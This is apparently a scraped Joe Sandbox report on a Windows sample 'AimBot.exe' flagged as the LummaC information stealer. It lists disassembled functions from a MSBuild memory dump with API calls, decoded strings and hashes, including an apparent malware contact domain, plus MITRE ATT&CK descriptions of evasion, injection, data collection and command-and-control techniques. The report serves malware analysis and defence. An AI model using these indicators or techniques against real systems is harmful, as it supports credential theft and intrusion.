Y, xrefs: 004396E5
U, xrefs: 00439721
C, xrefs: 004396C7
K, xrefs: 0043969F
w, xrefs: 0043968B
s, xrefs: 00439677
8, xrefs: 0043978A
), xrefs: 00439735
[, xrefs: 004396EF
!, xrefs: 0043975D
#, xrefs: 00439767
9, xrefs: 00439785
', xrefs: 0043977B
;, xrefs: 0043978F
A, xrefs: 004396BD
_, xrefs: 00439703
+, xrefs: 0043973F
Q, xrefs: 0043970D
S, xrefs: 00439717
-, xrefs: 00439749
/, xrefs: 00439753
q, xrefs: 0043966D
0, xrefs: 00439833
I, xrefs: 00439695
E, xrefs: 004396D1
u, xrefs: 00439681
M, xrefs: 004396A9
%, xrefs: 00439771
O, xrefs: 004396B3
G, xrefs: 004396DB

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: !$#$%$'$)$+$-$/$0$8$9$;$A$C$E$G$I$K$M$O$Q$S$U$W$Y$[$]$_$q$s$u$w
API String ID: 2525500382-3798855555
Opcode ID: ae181dffbc5d4c45becacdabdc647187e0a9ca810f9616ce2d7e8290ad44ac18
Instruction ID: 11d8bec7bd52b05cee63d683a60b4aeb1e3c1f87d72b29adc0a81de13abeef37
Opcode Fuzzy Hash: ae181dffbc5d4c45becacdabdc647187e0a9ca810f9616ce2d7e8290ad44ac18
Instruction Fuzzy Hash: 0181836000C7C1CED322DA39944875ABFE06BA7224F484A9DF5E58A3D2C7B98545CB67

Function 00437A8C Relevance: 47.4, APIs: 1, Strings: 26, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00437B51

Strings

I, xrefs: 00437B77
m, xrefs: 00437C97
A, xrefs: 00437BB7
d, xrefs: 00437BCF
X, xrefs: 00437BEF
c, xrefs: 00437CA7
e, xrefs: 00437CD7
o, xrefs: 00437C87
w, xrefs: 00437C47
V, xrefs: 00437C3F
k, xrefs: 00437C67
O, xrefs: 00437B87
s, xrefs: 00437C27
a, xrefs: 00437CB7
G, xrefs: 00437BC7
y, xrefs: 00437BF7
u, xrefs: 00437C57
M, xrefs: 00437B97
{, xrefs: 00437BE7
C, xrefs: 00437BA7
}, xrefs: 00437C17
q, xrefs: 00437C37
g, xrefs: 00437CC7
0, xrefs: 00437E4E
i, xrefs: 00437C77
E, xrefs: 00437BD7

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: 0$A$C$E$G$I$M$O$V$X$a$c$d$e$g$i$k$m$o$q$s$u$w$y${$}
API String ID: 2525500382-2932952421
Opcode ID: ee47078f75dcc0aa80d7c439899adc7092c13a5cfb2eec2d0594956bd40f599a
Instruction ID: a62e4683dcc53e9c2473319a829e5f1a4ddd76be64b5134978199a34115e79ce
Opcode Fuzzy Hash: ee47078f75dcc0aa80d7c439899adc7092c13a5cfb2eec2d0594956bd40f599a
Instruction Fuzzy Hash: 58A1A26040C7C2CDD332CA2888487DBBFD15BA6324F088A9DD4ED5B2D2D7B90549DB67

Function 004392B2 Relevance: 26.3, APIs: 2, Strings: 13, Instructions: 80COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004392BC
VariantInit.OLEAUT32 ref: 004392CF

Strings

g, xrefs: 00439385
[, xrefs: 00439365
c, xrefs: 004393A5
b, xrefs: 0043939D
I, xrefs: 004392F5
e, xrefs: 00439395
S, xrefs: 00439325
], xrefs: 00439355
W, xrefs: 00439305
Q, xrefs: 00439335
_, xrefs: 00439345
Y, xrefs: 00439375
U, xrefs: 00439315

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: I$Q$S$U$W$Y$[$]$_$b$c$e$g
API String ID: 2610073882-3909150844
Opcode ID: 54b1cf705aae2f536c9bd72ebddd5a81cc096aa49f51b443039ead052165607d
Instruction ID: 937fe04ffaf23c4560f61faf2848da6d76b077bfb5871178c8d23a50f3c18ed6
Opcode Fuzzy Hash: 54b1cf705aae2f536c9bd72ebddd5a81cc096aa49f51b443039ead052165607d
Instruction Fuzzy Hash: 9F41C16010C7C1CEE371DB28854879BBFE2ABA6315F084A9DD0ED8B392C7B54549CB67

Function 00437E7A Relevance: 24.6, APIs: 2, Strings: 12, Instructions: 89COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00437E84
VariantInit.OLEAUT32 ref: 00437E97

Strings

?, xrefs: 00437F2A
#, xrefs: 00437ECA
3, xrefs: 00437F4A
;, xrefs: 00437F0A
1, xrefs: 00437F3A
9, xrefs: 00437EFA
!, xrefs: 00437EBA
%, xrefs: 00437EDA
', xrefs: 00437EEA
7, xrefs: 00437F6A
=, xrefs: 00437F1A
5, xrefs: 00437F5A

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: !$#$%$'$1$3$5$7$9$;$=$?
API String ID: 2610073882-532543401
Opcode ID: 1b16fd8f1b8c12b031262de1414a0723d693fec8dc13b25102af0e0460e7bbac
Instruction ID: 9c9008a7a37ec253d4bbd77f91d5828937c0b1fc8ac6988fc67b19a7c7e6581f
Opcode Fuzzy Hash: 1b16fd8f1b8c12b031262de1414a0723d693fec8dc13b25102af0e0460e7bbac
Instruction Fuzzy Hash: 1F51C27410C7C18ED332DB2884887DABFE0ABAA324F084A9DD5E84B2D2C7754255CB67

Function 00438FD3 Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 89COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00439012

Strings

e, xrefs: 00439098
o, xrefs: 00439068
s, xrefs: 00439048
m, xrefs: 00439058
g, xrefs: 004390A8
q, xrefs: 00439038
k, xrefs: 00439088
c, xrefs: 004390C8
i, xrefs: 00439078
a, xrefs: 004390B8

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: a$c$e$g$i$k$m$o$q$s
API String ID: 1927566239-4288921106
Opcode ID: 238db68f74863d0b904b8d6f998bd05cbd2168bc21d71c5a829fdc9f556f221e
Instruction ID: 07cce87e60122ba1b9ee8c81ce33704bf9fd92116945d85cd4fb32df913f3787
Opcode Fuzzy Hash: 238db68f74863d0b904b8d6f998bd05cbd2168bc21d71c5a829fdc9f556f221e
Instruction Fuzzy Hash: 4351B27010C7C18EE3329B2884987DEBFE1AB9A314F084A5DD4D98B3D2C7B94555CB67

Function 004380A7 Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 66COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004380B5

Strings

', xrefs: 004380D2
:, xrefs: 00438113
9, xrefs: 00438104
y, xrefs: 004380CD
=, xrefs: 004380F0
#, xrefs: 004380E6
5, xrefs: 00438118
?, xrefs: 004380FA
!, xrefs: 004380DC
;, xrefs: 0043810E

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: !$#$'$5$9$:$;$=$?$y
API String ID: 1927566239-1641479931
Opcode ID: a2d41b7bc1fc9f530850cba7160591934279efefd4bc6964f45102afeb05218b
Instruction ID: f913950ee5a8378925e2ce9d36f3382b5bdb37b8f1d319efc849d3022a6238ce
Opcode Fuzzy Hash: a2d41b7bc1fc9f530850cba7160591934279efefd4bc6964f45102afeb05218b
Instruction Fuzzy Hash: A031D27000C3C19ED362DB28D184B9ABFE1AB9A318F441A4EF4D997392C775960ACB57

Function 00437569 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00437573
VariantInit.OLEAUT32 ref: 00437586

Strings

T, xrefs: 004375DA
J, xrefs: 004375BC
E, xrefs: 004375B2
[, xrefs: 004375C6
X, xrefs: 004375A8
v, xrefs: 004375F8
c, xrefs: 004375EE
c, xrefs: 00437602
V, xrefs: 004375D0

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: E$J$T$V$X$[$c$c$v
API String ID: 2610073882-604551095
Opcode ID: 9be4c1f96c1115b624487b5b48f0fcf5f47e480bff5c9cfb4bd847a544eee69c
Instruction ID: 661e7c2ab8d3383c1931c28b5882e54cdb9b2c35d0879fc29d8c84d78291ad81
Opcode Fuzzy Hash: 9be4c1f96c1115b624487b5b48f0fcf5f47e480bff5c9cfb4bd847a544eee69c
Instruction Fuzzy Hash: 0831C57010CBC18ED3329B3C949874BBED05BA7224F284E5DE1F94B3E2C665954ACB57

Function 0043668E Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 62COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00436698

Strings

;, xrefs: 004366F1
:, xrefs: 004366F6
=, xrefs: 004366D3
y, xrefs: 004366B0
#, xrefs: 004366C9
', xrefs: 004366B5
9, xrefs: 004366E7
!, xrefs: 004366BF
?, xrefs: 004366DD
5, xrefs: 004366FB

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitVariant
String ID: !$#$'$5$9$:$;$=$?$y
API String ID: 1927566239-1641479931
Opcode ID: 6304df476ca8d915595394a9091372da079970801af5969251a55150b5a9808d
Instruction ID: fc128716e1b70885af2bd56f61eef79a8d01f514d83c05d140cab350e8b78048
Opcode Fuzzy Hash: 6304df476ca8d915595394a9091372da079970801af5969251a55150b5a9808d
Instruction Fuzzy Hash: E531F07400C3C19ED362DB28909879ABFE0AB9A318F445A5EE4E947382C775950ACB57

Function 00438265 Relevance: 19.3, APIs: 2, Strings: 9, Instructions: 60COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0043826F
VariantInit.OLEAUT32 ref: 00438282

Strings

c, xrefs: 004382FE
E, xrefs: 004382AE
c, xrefs: 004382EA
X, xrefs: 004382A4
T, xrefs: 004382D6
V, xrefs: 004382CC
v, xrefs: 004382F4
J, xrefs: 004382B8
[, xrefs: 004382C2

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: E$J$T$V$X$[$c$c$v
API String ID: 2610073882-604551095
Opcode ID: 02cd6a2ffb2634a2dd1dbfbf0bc1b39dcf190c3e6a5f4bd9be82b5c1d395b488
Instruction ID: 520cc9d2117f7f4fed7467e26b4617bb02828c5911a5e5c94ce1a764a5e6edc4
Opcode Fuzzy Hash: 02cd6a2ffb2634a2dd1dbfbf0bc1b39dcf190c3e6a5f4bd9be82b5c1d395b488
Instruction Fuzzy Hash: 4031A27410CBC1CED3329A3C948864FBED05BA7224F284A5DE5F58B3E2C6758545CB67

Function 004131D4 Relevance: 18.3, APIs: 1, Strings: 11, Instructions: 313COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32 ref: 004131E0

Strings

frizzettei.sbs, xrefs: 00413670
6 4z, xrefs: 004132FC
tefo, xrefs: 00413307
$.r, xrefs: 00413312
n, xrefs: 004131F5
WXOL, xrefs: 004132E6
jz, xrefs: 0041348F
|=, xrefs: 004134A5
SVF, xrefs: 00413367, 00413376
HI, xrefs: 00413603
j[ZY, xrefs: 0041358C

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Uninitialize
String ID: $.r$6 4z$HI$SVF$WXOL$frizzettei.sbs$j[ZY$jz$n$tefo$|=
API String ID: 3861434553-2150514146
Opcode ID: e4cb9f437e448f154acd4020207da48714e3da0c819da3ae260e0484f7dbaabe
Instruction ID: c7c578a9fb6f0a77b5c906b5d6fcb2e11e5fc67335ee5fe45e68a4f5e9381a18
Opcode Fuzzy Hash: e4cb9f437e448f154acd4020207da48714e3da0c819da3ae260e0484f7dbaabe
Instruction Fuzzy Hash: 07B1547400C3818AD3B18F15C090BEFFBE5AF96749F14495EE4D89B262C7398685CB6B

Function 00436A0B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 171COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 00436A15

Strings

-, xrefs: 00436B02
}, xrefs: 00436ACA

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String
String ID: -$}
API String ID: 2568140703-277405830
Opcode ID: 60807614ca7973f19846e09d710caf0b3123538982605c6d957fdc0fea35c003
Instruction ID: 0a5449ed87a7d3039ea9fc43664b02d737e8e300371ae800b29a614bfec046ad
Opcode Fuzzy Hash: 60807614ca7973f19846e09d710caf0b3123538982605c6d957fdc0fea35c003
Instruction Fuzzy Hash: 596168716087914FC7399E2CC4903EEBBD2ABD9324F199A2DD8ED873D5CA3858418746

Function 004373EA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004373F4
VariantInit.OLEAUT32 ref: 00437407

Strings

*, xrefs: 00437465

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit
String ID: *
API String ID: 2610073882-163128923
Opcode ID: 3a3195edb4466844811a88dc67e8f538078eb36244954128aa7090f56126b59b
Instruction ID: fdcba4e6c4894e2d1360e9c8c69fbfb27f5b2c0ebc600f2ca4bdd3da272af7a1
Opcode Fuzzy Hash: 3a3195edb4466844811a88dc67e8f538078eb36244954128aa7090f56126b59b
Instruction Fuzzy Hash: D241B26001CBC2CAD3329B7C944864EFFE15BA7224F480F9DE5E44A3E2C7659502CB67

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AimBot.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_93e0ad3bfaa0be6b7b72cf195b6666742ffea97e_c667c4d5_69e5e9bd-5fac-4670-b3de-37277565c757\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9ADF.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BDA.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C0A.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Windows Analysis Report
AimBot.exe

Function 006B1FE0 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 433
memoryCOMMON

Function 006CA39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Function 006C5C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 006C8B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Function 006C0C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 006CA0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 006C60B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Function 006C9CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Function 006C5D63 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE